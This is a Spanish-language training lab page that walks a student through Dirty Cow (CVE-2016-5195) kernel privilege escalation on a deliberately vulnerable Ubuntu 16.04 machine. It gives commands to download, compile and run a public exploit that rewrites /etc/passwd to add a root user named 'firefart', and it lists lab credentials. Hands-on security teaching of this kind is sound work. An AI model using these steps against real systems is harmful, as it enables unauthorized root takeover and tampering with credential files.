Dificultad
intermediate
Duración promedio
2 hrs
Tecnologías
linux
penetration testing
red team
kernel exploit
Dificultad
intermediate
Duración promedio
2 hrs
Tecnologías
linux
penetration testing
red team
kernel exploit
En la academia se encuentra desplegada una máquina virtual con una versión vulnerable de Ubuntu Server (16.04.1), que corre un kernel afectado por la falla Dirty Cow (CVE-2016-5195).
Como alumno, ya cuentas con acceso a este sistema mediante un usuario limitado llamado student
. Tu objetivo será identificar que el sistema es vulnerable, compilar y ejecutar un exploit real, y escalar tus privilegios para obtener acceso como root. Este ejercicio representa una situación realista donde un atacante local, sin privilegios administrativos, logra comprometer completamente el sistema aprovechando una falla en el núcleo del sistema operativo. Los objetivos serán:
gcc
.root
./root
.Este tipo de explotación es típica en auditorías de seguridad avanzada y en entornos Red Team. Te permitirá conectar conceptos de bajo nivel del sistema operativo con técnicas ofensivas reales, de forma práctica y guiada.
4.4.0-21-generic
(o similar sin parchear)student:password123
)🚨 Aviso Legal: Este repositorio contiene una versión limpia y comentada del exploit Dirty Cow (CVE-2016-5195), diseñada exclusivamente para fines educativos. Esta variante crea un nuevo usuario con privilegios de root explotando una condición de carrera en el subsistema de memoria del kernel de Linux. Este exploit es solo para uso educativo. Debe utilizarse en entornos controlados y legales, como laboratorios, máquinas virtuales de práctica o clases de ciberseguridad.
Inicia sesión en la máquina vulnerable con el usuario limitado y ejecuta:
1uname -a
Esto devuelve algo como:
1Linux dirtycow-lab 4.4.0-31-generic #50-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64
Anota la version e investiga cómo explotar esa vulnerabilidad utilizando bases de datos como Exploit-DB, GitHub o searchsploit desde Kali.
AYUDA: Para esta práctica te proporcionamos un exploit funcional y documentado que puedes descargar.
Utiliza el siguiente comando para descargar el archivo dirty.c
desde el repositorio proporcionado por la academia:
1wget https://raw.githubusercontent.com/breatheco-de/kernel-exploit-dirtycow-project/refs/heads/main/assets/dirty.c
Una vez descargado el archivo, compílalo con gcc:
1gcc dirty.c -o dirty -pthread -lcrypt
Esto generará un ejecutable llamado dirty listo para ejecutarse.
ejecuta el binario:
1./dirty
Este exploit realiza las siguientes acciones:
/etc/passwd
en /tmp/passwd.bak
./etc/passwd
con un usuario de nivel root:1username: firefart 2password: firefart
root
./root/flag.txt
. Si todo funcionó correctamente, verás el contenido de la flag.